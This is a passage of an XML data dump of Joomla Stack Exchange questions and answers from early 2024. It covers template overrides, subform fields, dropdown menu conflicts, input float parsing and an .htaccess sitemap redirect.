added.&lt;/p&gt;&#xA;&lt;p&gt;In Cassiopeia, I have created a category blog override and added a database query, but I'm getting the error &amp;quot;0 Call to a member function get() on null&amp;quot; when I view the page.&lt;/p&gt;&#xA;&lt;p&gt;It may be that I'm putting the query in the wrong place, or the 'load' instruction is wrong, or something else.&lt;/p&gt;&#xA;&lt;p&gt;I've spent two days on this trying all sorts of different queries, including doing the entire database query from within the blog.php file, rather than in phpMyAdmin first, to no avail. This is the code in the blog.php file at the moment:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if (!empty($this-&amp;gt;intro_items)) : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;com-content-category-blog__items blog-items &#xA;        &amp;lt;div class=&amp;quot;com-content-category-blog__item blog-item events&amp;quot;&amp;gt;&#xA;        &amp;lt;?php &#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select([&amp;quot;#__events_content_t1.*&amp;quot;])&#xA;        -&amp;gt;from(&amp;quot;#__events_content_t1&amp;quot;)&#xA;        -&amp;gt;order(&amp;quot;value&amp;quot;);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $row = $db-&amp;gt;loadRowList(); ?&amp;gt;&#xA;        &amp;lt;?php foreach ($row as &amp;amp;$item) : ?&amp;gt;&#xA;            &amp;lt;?php&#xA;            echo $this-&amp;gt;loadTemplate('item');&#xA;            ?&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I realise I may have modified the &lt;code&gt;foreach&lt;/code&gt; statement incorrectly, too. This is the original:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;       &amp;lt;?php foreach ($this-&amp;gt;intro_items as $key =&amp;gt; &amp;amp;$item) : ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Can someone point out what I'm doing wrong, please?&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2024-02-09T15:50:36.823" Title="Error 0 Call to a member function get() on null on $db query in com_content category blog.php override" Tags="|mysql|overrides|phpmyadmin|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33653" PostTypeId="1" CreationDate="2024-02-09T20:19:36.450" Score="0" ViewCount="29" Body="&lt;p&gt;I have a system plugin that uses the onContentPrepareForm event to load an xml form fieldset definition into the Joomal CMS Form Object.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        FormHelper::addFieldPrefix('DeAnima\\Plugin\\System\\UserExtendedProfile\\Field');&#xA;        FormHelper::addFormPath(JPATH_PLUGINS . '/' . $this-&amp;gt;_type . '/' . $this-&amp;gt;_name . '/forms');&#xA;        $form-&amp;gt;loadFile('userextendedprofile');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using a single definition of the xml file and relative data I can load, display and save the extra information. Then in the past I needed to associate a single Joomla user with multiple versions of my xml form fieldset definition. Loading multiple versions of the data is not a problem (into array) and there are no issues with saving. However I didn't find a way to load multiple definitions of the xml file to display the information so I manually created the form layout of for my xml form definition and then used of foreach to display the same layout multiple times.&lt;/p&gt;&#xA;&lt;p&gt;Updating the code for Joomla 4/5 I wanted to revisit the code. Is there a way to create multiple versions of the the form field definition as loaded in the plugin, which can then be used to display the multiple sets information from the data array.&lt;/p&gt;&#xA;" OwnerUserId="5523" LastEditorUserId="5523" LastEditDate="2024-02-12T18:11:37.030" LastActivityDate="2024-02-12T18:11:37.030" Title="Is it possible to duplicate a fieldset in joomla form" Tags="|form|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33654" PostTypeId="1" AcceptedAnswerId="33658" CreationDate="2024-02-09T21:07:42.573" Score="0" ViewCount="67" Body="&lt;p&gt;I'm having a problem with the dropdown menu in my Joomla 4 site. I think there's some sort of Javascript conflict that's causing it, and I'm hoping someone smarter than me can help pinpoint it.&lt;/p&gt;&#xA;&lt;p&gt;The weird thing is, I have the site uploaded to two different web hosting accounts. On one of them, it works correctly, and on the other, it doesn't.&lt;/p&gt;&#xA;&lt;p&gt;The dropdown menu system has parent items and child items. The problem is this: If you are currently on the page of a child item (an individual product page), then clicking on any parent item in the dropdown menu does nothing, when it should take you to that page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://toprival.com/temp/probox3to4temp/products/off-road-tops/polaris/ranger-xp-900/rxp-f4-pkg1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is an example page&lt;/a&gt; where everything works as intended. On this page, you CAN visit the Products index page by clicking on &amp;quot;Products&amp;quot; in the top menu bar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://qph.uim.temporary.site/products/off-road-tops/polaris/ranger-xp-900/rxp-f4-pkg1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Now, here is the same page on a different hosting account&lt;/a&gt; where the problem occurs. On this page, you CANNOT visit the Products page by clicking on &amp;quot;Products&amp;quot; in the top menu bar. Unfortunately, this is the final home for the website, so I need to get this one working like on the other account.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="11861" LastActivityDate="2024-02-12T06:15:28.763" Title="Problem with dropdown menu in Joomla 4 site" Tags="|joomla-4.x|javascript|menu|dropdown|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33655" PostTypeId="1" CreationDate="2024-02-10T15:26:22.003" Score="0" ViewCount="30" Body="&lt;p&gt;Created a new website using Joomla v4 (latest version). Quickly checked out the Purity IV template (still installed), then decided to use the Cassiopeia template.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that the Category Blog pages are still using the Purity IV layout (I don't think I've seen this issue at other places). This becomes apparent looking at the Menu Items for Category Blogs, which show a Link like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=category&amp;amp;layout=ja_purity_iv:new&amp;amp;id=30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(note the 'layout=ja_purity_iv:new' variable)&lt;/p&gt;&#xA;&lt;p&gt;So I checked everything that I could think of:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;System -&amp;gt; Global Configuration -&amp;gt; Articles&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category: Choose a Layout: Blog&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Content -&amp;gt; Categories: &amp;quot;Bike Life&amp;quot;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Options: Layout: Use Global&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Menu: Main Menu EN: &amp;quot;Bike Life&amp;quot;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Template Style: Use Default&lt;/li&gt;&#xA;&lt;li&gt;Blog Layout: Select Layout Blog: Default&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;All fine.&lt;/p&gt;&#xA;&lt;p&gt;I also tried changing these four settings, but nothing changes in how the page is displayed. So whatever sets this 'layout' variable overrules everything that I could find in the Joomla administrator GUI.&lt;/p&gt;&#xA;&lt;p&gt;Where/how is/was this variable set?&lt;/p&gt;&#xA;" OwnerUserId="17619" LastEditorUserId="17619" LastEditDate="2024-02-10T15:31:16.607" LastActivityDate="2024-02-10T15:31:16.607" Title="Unable to set Category Blog layout; (read-only) Link stuck to 'layout=ja_purity_iv:new'" Tags="|layout|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33656" PostTypeId="1" CreationDate="2024-02-11T14:52:10.110" Score="1" ViewCount="27" Body="&lt;p&gt;dropdown.min.js is conflicting with the way I have my menu set up in my Joomla 4 website, but I can't disable it entirely because the back end of the website needs it. How can I keep it enabled for the back end but disable it for the front end?&lt;/p&gt;&#xA;" OwnerUserId="11861" LastEditorUserId="13472" LastEditDate="2024-02-12T06:41:59.067" LastActivityDate="2024-03-13T07:02:30.367" Title="How can I prevent dropdown.min.js from loading on the front end of my website?" Tags="|joomla-4.x|javascript|bootstrap|dropdown|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33657" PostTypeId="1" CreationDate="2024-02-11T18:02:46.160" Score="2" ViewCount="30" Body="&lt;p&gt;Factory::getApplication()-&amp;gt;input-&amp;gt;getFloat('name') doesn't like decimal numbers that start with a period. For example, &amp;quot;.5&amp;quot; returns the number 5 instead of .5. Looking at &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput#Getting_Values&quot; rel=&quot;nofollow noreferrer&quot;&gt;the docs&lt;/a&gt;, it's easy to see why; the regex that parses the string is &amp;quot;-?[0-9]+(.[0-9]+)?&amp;quot;, which requires the number to start with a digit. I have created a custom float parser as follows (making the leading digit optional by replacing + with *):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function customFloat($name, $jinput)&#xA;{&#xA;    $source = $jinput-&amp;gt;getString($name);&#xA;    // modified version of https://docs.joomla.org/Retrieving_request_data_using_JInput for $jinput-&amp;gt;getFloat()&#xA;    preg_match('/-?[0-9]*(\.[0-9]+)?/', (string) $source, $matches);&#xA;    $result = @ (float) $matches[0];&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Are there any concerns with this? Why doesn't the standard getFloat() make the leading digit optional?&lt;/p&gt;&#xA;" OwnerUserId="3948" LastActivityDate="2024-02-12T22:53:40.513" Title="Factory::getApplication()-&gt;input-&gt;getFloat('name') returns 5 for &quot;.5&quot;" Tags="|security|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33658" PostTypeId="2" ParentId="33654" CreationDate="2024-02-12T06:15:28.763" Score="1" Body="&lt;p&gt;Your menu is built using Bootstrap's Dropdown component. Its dropdowns are triggered by clicking. You have added some custom that shows the dropdowns on hover. If you want to disable click behavior, remove &lt;code&gt;data-bs-toggle=&amp;quot;dropdown&amp;quot;&lt;/code&gt; attribute from your menu layout. But you should note that hover behavior results in poor usability on touchscreen devices.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-02-12T06:15:28.763" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33659" PostTypeId="2" ParentId="33656" CreationDate="2024-02-12T06:41:41.373" Score="0" Body="&lt;p&gt;You can use the &lt;code&gt;unset&lt;/code&gt; command to disable a script in the front-end.&lt;/p&gt;&#xA;&lt;p&gt;I suppose that you might try the following method that worked in Joomla 3. Add something like the following to your front-end template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;unset($this-&amp;gt;_styleSheets[$this-&amp;gt;baseurl .'/path/to/the/css/file.css']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=977796&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=977796&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2024-02-12T06:41:41.373" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33660" PostTypeId="2" ParentId="33653" CreationDate="2024-02-12T07:50:27.943" Score="1" Body="&lt;p&gt;Standard way is using &lt;a href=&quot;https://docs.joomla.org/Subform_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subform field&lt;/a&gt; with &lt;code&gt;multiple=&amp;quot;true&amp;quot;&lt;/code&gt; attribute:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&amp;quot;field-name&amp;quot;&#xA;    type=&amp;quot;subform&amp;quot;&#xA;    formsource=&amp;quot;path/to/exampleform.xml&amp;quot;&#xA;    multiple=&amp;quot;true&amp;quot;&#xA;    label=&amp;quot;Subform Field&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note this will change your data layout. To keep current data layout you may have to create a custom field type similar to Subform but with field names matching your data.&lt;/p&gt;&#xA;&lt;p&gt;Another option is running a loop, modifying the XML in PHP to make elements unique and loading it using &lt;code&gt;Joomla\CMS\Form\Form::load()&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-02-12T07:50:27.943" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33661" PostTypeId="1" CreationDate="2024-02-12T15:25:59.173" Score="0" ViewCount="19" Body="&lt;p&gt;I've got a dropdown menu on my Joomla 4 site, and the parent items in the 2nd level are not clickable for some reason. What would cause that?&lt;/p&gt;&#xA;&lt;p&gt;Here is the site: &lt;a href=&quot;https://qph.uim.temporary.site/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://qph.uim.temporary.site/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you click on Products, every item in that list should take you to another page. Each of those menu items — even the parent ones — are of the type &amp;quot;Single Article&amp;quot;. The only ones that work are &amp;quot;Get It Fast, Ship Today&amp;quot;, &amp;quot;ProBox Apparel&amp;quot;, and &amp;quot;ProBox Repair Kit&amp;quot; because those are not parent items.&lt;/p&gt;&#xA;&lt;p&gt;You can see in the browser's status bar that the links are there, but it's like there's a preventDefault somewhere that's preventing it from following the link.&lt;/p&gt;&#xA;" OwnerUserId="11861" LastActivityDate="2024-02-12T15:25:59.173" Title="Parent menu items in dropdown are not clickable" Tags="|javascript|dropdown|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33662" PostTypeId="1" CreationDate="2024-02-12T19:19:56.707" Score="0" ViewCount="45" Body="&lt;p&gt;Is it possible to set the field attributes on joomla 4 subform fields?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&#xA;        name=&amp;quot;userextendedprofile&amp;quot;&#xA;    &amp;gt;&#xA;        &amp;lt;field&#xA;            name=&amp;quot;userextendedprofile&amp;quot;&#xA;            type=&amp;quot;subform&amp;quot;&#xA;            label=&amp;quot;Extended User Information&amp;quot;&#xA;            description=&amp;quot;Subform Field Description&amp;quot;&#xA;            multiple=&amp;quot;true&amp;quot;&#xA;            min=&amp;quot;1&amp;quot;&#xA;            max=&amp;quot;10&amp;quot;&#xA;            groupByFieldset=&amp;quot;true&amp;quot;&#xA;            layout=&amp;quot;joomla.form.field.subform.repeatable&amp;quot;&#xA;            &amp;gt;&#xA;            &amp;lt;form&amp;gt;&#xA;                &amp;lt;fields name=&amp;quot;uep&amp;quot;&amp;gt;&#xA;                    &amp;lt;fieldset name=&amp;quot;section1&amp;quot; label=&amp;quot;User Profile&amp;quot;&amp;gt;&#xA;                        &amp;lt;field&#xA;                            name=&amp;quot;profile_firstName&amp;quot;&#xA;                            type=&amp;quot;text&amp;quot;&#xA;                            label=&amp;quot;PLG_ADVKONTENT_UEP_FIRST_NAME&amp;quot;&#xA;                            required=&amp;quot;true&amp;quot;&#xA;                            filter=&amp;quot;string&amp;quot;&#xA;                            labelclass=&amp;quot;advkontentui-field-label&amp;quot;&#xA;                            maxlength=&amp;quot;250&amp;quot;&#xA;                            class=&amp;quot;advkontentui-field-value&amp;quot;&#xA;                        /&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;/fields&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Usually you can load the fieldset then go through each field in the fieldset and use the $form-&amp;gt;setFieldAttribute function. However in my onContentPrepareForm plugin function I've not found a way to set the field attribute on the subform fields. So in the example above, how can you set the attribute for the field profile_firstName?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&#xA;After further investigation, in my plugin I have been able to enter the subform and I can removeField/setFieldAttribute. By loading the outer fieldset, I was then able to load the subform and modify.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $userextendedprofileFieldset = $form-&amp;gt;getFieldset('userextendedprofile');&#xA;        $userextendedprofileForm = $userextendedprofileFieldset['jform_userextendedprofile'];&#xA;        $uepSubform = $userextendedprofileForm-&amp;gt;loadSubForm();&#xA;&#xA;        foreach ($fieldInfo as $field  =&amp;gt; $group) {&#xA;            // Case using the advkontent users manager in admin&#xA;            if (\in_array($formName, ['com_advkontent.user', 'com_users.user', 'com_users.registration', 'com_users.profile'])) {&#xA;                if ($this-&amp;gt;params-&amp;gt;get('uep_required_' . $field, 1) == 0) {&#xA;                    $uepSubform-&amp;gt;removeField($field, $group);&#xA;                } elseif ($this-&amp;gt;params-&amp;gt;get('uep_required_' . $field, 0) == 1) {&#xA;                    $uepSubform-&amp;gt;setFieldAttribute($field, 'required', false, $group);&#xA;                } elseif ($this-&amp;gt;params-&amp;gt;get('uep_required_' . $field, 1) == 2) {&#xA;                    $uepSubform-&amp;gt;setFieldAttribute($field, 'required', true, $group);&#xA;                }&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I inspect $uepSubform, the subform fields have either been remove or had their attributes modified according to the params. However when the parent form is displayed the changes in the subform are not reflected.&#xA;Is there a way to load subform back into the parent form?&lt;/p&gt;&#xA;" OwnerUserId="5523" LastEditorUserId="5523" LastEditDate="2024-02-13T20:21:13.657" LastActivityDate="2024-03-29T22:05:25.643" Title="Set field attributes on joomla 4 subform field" Tags="|form|subfrom|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33663" PostTypeId="2" ParentId="33657" CreationDate="2024-02-12T22:53:40.513" Score="1" Body="&lt;p&gt;Your question would appear to be better suited to being raised on the Joomla Issue Tracker, &lt;a href=&quot;https://issues.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/&lt;/a&gt;, where people likely involved in making the original decision or writing the code are likely to see it.&lt;/p&gt;&#xA;&lt;p&gt;If you include your updated version of the regex you may find someone will pick it up and introduce it into the core. It doesn't look likely to cause any backward compatibility issues so it might be able to be introduced as a fix in 5.x otherwise you might be waiting for 6.0&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-02-12T22:53:40.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33666" PostTypeId="2" ParentId="26742" CreationDate="2024-02-15T15:39:47.427" Score="0" Body="&lt;p&gt;A BIG shout-out for Akeeba's Nicholas K. Dionysopoulos who has solved this issue. Have a look at his &lt;a href=&quot;https://github.com/nikosdion/sortbyfield&quot; rel=&quot;nofollow noreferrer&quot;&gt;sortbyfield plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2024-02-15T15:39:47.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33667" PostTypeId="1" CreationDate="2024-02-15T18:30:55.663" Score="0" ViewCount="12" Body="&lt;p&gt;So I have rewritten one of my j3 components for J5, hopefully following the new standards (my first attempt)&lt;/p&gt;&#xA;&lt;p&gt;All admin views work fine except for one where the admin sidebar does not appear (as if it was an edit view, which it isn't)&lt;/p&gt;&#xA;&lt;p&gt;I cannot see any significant difference in Controller, Model, View, or tmpl between the broken view and the working ones.&lt;/p&gt;&#xA;&lt;p&gt;The new view entry appears ok in the sidebar menu in the other views, but when the view opens there is no sidebar.&lt;/p&gt;&#xA;&lt;p&gt;Namespace statement is correct (and the same in controller and model) for both faulty and good views&lt;/p&gt;&#xA;&lt;p&gt;Use clauses in the faulty view are the same as in good ones (with some additions and unused ones removed per file as appropriate)&lt;/p&gt;&#xA;&lt;p&gt;HtmlView extends BaseHtml view in both working and faulty views, same use clauses are present and same functions ( display() and addToolbar() )&lt;/p&gt;&#xA;&lt;p&gt;Model extends ListModel for both working and the faulty view. The faulty one only has the same functions by name and signature as does another working one.&lt;/p&gt;&#xA;&lt;p&gt;Controller extends AdminController in both cases and has only one function getModel() which is the same as others - it simply calls the parent getModel()&lt;/p&gt;&#xA;&lt;p&gt;There is no Table or Form for the view - it is simply displaying static information - another very similar view works ok, as do conventional list views.&lt;/p&gt;&#xA;&lt;p&gt;My surface question is for any clues as to what could possibly be going wrong, and underneath that what determines whether the Admin sidebar will be displayed or not?&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2024-03-19T16:06:55.837" Title="Admin Sidebar not appearing in one view in J5 component" Tags="|administrator|joomla-5.x|sidebar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33668" PostTypeId="2" ParentId="33646" CreationDate="2024-02-15T19:44:32.613" Score="0" Body="&lt;p&gt;As you have discovered the Article view options are somewhat limited. If you are not using article categories for anything else you could put all your articles in one category and use that for a category blog view and you can apply a tag filter in the menu item setup.&lt;/p&gt;&#xA;&lt;p&gt;But you can't select multiple categories for the category blog view which seems a shame as that would enable you to have a blog view  of all categories and filter that by tag (or tags). The same applies to the Category list view which requires a category to be chosen - in fact there doesn't seem to be a way to list all articles across categories in a site view as you can in admin articles view (which seems odd - same applies in J3). So you can't achieve what you want with a simple alternative layout to an existing article model.&lt;/p&gt;&#xA;&lt;p&gt;Ever since they were introduced the built in tagging view facilities have been sorely lacking. It is disappointing that in J5 they have not been much improved (they are a bit better). A Blog style layout of the items selected for a tag view would be good - but tricky to implement as a tag can be applied to items from different components.&lt;/p&gt;&#xA;&lt;p&gt;In J3 I ended up developing my own views for tags, and now I'm starting the painful migration to J5 (having missed 4 as it was rubbish) I see that I'm going to have to do the same.&lt;/p&gt;&#xA;&lt;p&gt;Essentially you need to develop your own tagged items blog view, or a tagged articles blog view if you only want articles, in a custom component.&lt;/p&gt;&#xA;&lt;p&gt;Regarding showing tags in the article info blog (presumably in a single article view?) that can be achieved with a layout override or some template fettlling.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2024-02-15T19:44:32.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33669" PostTypeId="1" CreationDate="2024-02-16T10:40:41.040" Score="0" ViewCount="9" Body="&lt;p&gt;I have the need to create a sitemap.xml static URL for my dynamic sitemap Joomla component, because GTranslate requires access to /sitemap.xml&lt;/p&gt;&#xA;&lt;p&gt;I have put a redirectrule, which used to work up to a few months ago, but this is generate a sitemap.xml with a &amp;quot;page not found&amp;quot; error in it.&lt;/p&gt;&#xA;&lt;p&gt;So the sitemap works well index.php?option=com_jmap&amp;amp;view=sitemap&amp;amp;format=xml but when the redirect is in place, this weird error comes up. &lt;a href=&quot;https://i.stack.imgur.com/AjIWA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AjIWA.png&quot; alt=&quot;page not found&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;These are the contents of the .htaccess file up to the rule, I've tried using various options, but nothing seems to be working.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteOptions inherit&#xA;#commented out since it seems wrong directory&#xA;#suPHP_ConfigPath /home/dartcr6/public_html &#xA;&#xA;RewriteEngine on&#xA;RewriteBase /&#xA;&#xA;RewriteRule ^sitemap\.xml$ /index.php?option=com_jmap&amp;amp;view=sitemap&amp;amp;format=xml [NC,L]&#xA;&#xA;DirectoryIndex  index.php&#xA;# These were commented out - fixed the URL from dart-creations.com to collectiveray.com&#xA;RewriteCond %{SERVER_PORT} 80 &#xA;RewriteCond %{HTTP_HOST} ^collectiveray.com/ [NC]&#xA;RewriteRule ^(.*)$ https://www.collectiveray.com/$1 [R=301,L]&#xA;&#xA;### marker WEBP start ###&#xA;RewriteCond %{HTTP_ACCEPT} &amp;quot;image/webp&amp;quot;si&#xA;RewriteRule .* - [E=Cache-Control:vary=%{ENV:LSCACHE_VARY_VALUE}+webp]&#xA;RewriteCond %{HTTP_USER_AGENT} iPhone.*Version/(\d{2}).*Safari&#xA;RewriteCond %1 &amp;gt;13&#xA;RewriteRule .* - [E=Cache-Control:vary=%{ENV:LSCACHE_VARY_VALUE}+webp]&#xA;### marker WEBP end ###&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Could do with some guidance :-)&lt;/p&gt;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="17631" LastActivityDate="2024-02-16T10:40:41.040" Title="Sitemap.xml redirect rule creates a &quot;page not found&quot; error" Tags="|.htaccess-configuration|server-configuration|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33670" PostTypeId="1" AcceptedAnswerId="33672" CreationDate="2024-02-16T11:31:17.000" Score="0" ViewCount="31" Body="&lt;p&gt;When using the following field in my module xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;                    name=&amp;quot;layout&amp;quot;&#xA;                    type=&amp;quot;modulelayout&amp;quot;&#xA;                    label=&amp;quot;JFIELD_ALT_LAYOUT_LABEL&amp;quot;&#xA;                    class=&amp;quot;form-select&amp;quot;&#xA;                    default=&amp;quot;_:default&amp;quot;&#xA;                    validate=&amp;quot;moduleLayout&amp;quot;&#xA;                /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It gives me a list of all php files in the tmpl folder to select. I've noticed now that on the Standard Modules these names are listed (inside this selection) as language constants. On my Custom Module it only renders the filename (in lowercase) even if I use the same fieldtype as, for example used in mod_menu (xml above).&lt;/p&gt;&#xA;&lt;p&gt;mod_menu:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Cii9i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cii9i.png&quot; alt=&quot;mod_menu field options&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;my module:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YuHtN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YuHtN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What do I need to have there also the language constants and not just the name.&#xA;Sidenote: in the mod_menu module the files are also just named &amp;quot;default.php&amp;quot; and collapse-default.php&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2024-02-16T12:11:29.280" Title="Joomla 4 / 5 Module Layouts naming" Tags="|joomla-4.x|language|custom-module|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33671" PostTypeId="1" CreationDate="2024-02-16T11:31:16.993" Score="0" ViewCount="7" Body="&lt;p&gt;When using the following field in my module xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;                    name=&amp;quot;layout&amp;quot;&#xA;                    type=&amp;quot;modulelayout&amp;quot;&#xA;                    label=&amp;quot;JFIELD_ALT_LAYOUT_LABEL&amp;quot;&#xA;                    class=&amp;quot;form-select&amp;quot;&#xA;                    default=&amp;quot;_:default&amp;quot;&#xA;                    validate=&amp;quot;moduleLayout&amp;quot;&#xA;                /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It gives me a list of all php files in the tmpl folder to select. I've noticed now that on the Standard Modules these names are listed (inside this selection) as language constants. On my Custom Module it only renders the filename (in lowercase) even if I use the same fieldtype as, for example used in mod_menu (xml above).&lt;/p&gt;&#xA;&lt;p&gt;mod_menu:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Cii9i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cii9i.png&quot; alt=&quot;mod_menu field options&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;my module:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YuHtN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YuHtN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What do I need to have there also the language constants and not just the name.&#xA;Sidenote: in the mod_menu module the files are also just named &amp;quot;default.php&amp;quot; and collapse-default.php&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2024-02-16T11:31:16.993" Title="Joomla 4 / 5 Module Layouts naming" Tags="|joomla-4.x|language|custom-module|joomla-5.x|" AnswerCount="0" CommentCount="1" ClosedDate="2024-02-19T13:40:55.013" ContentLicense="CC BY-SA 4.0" />
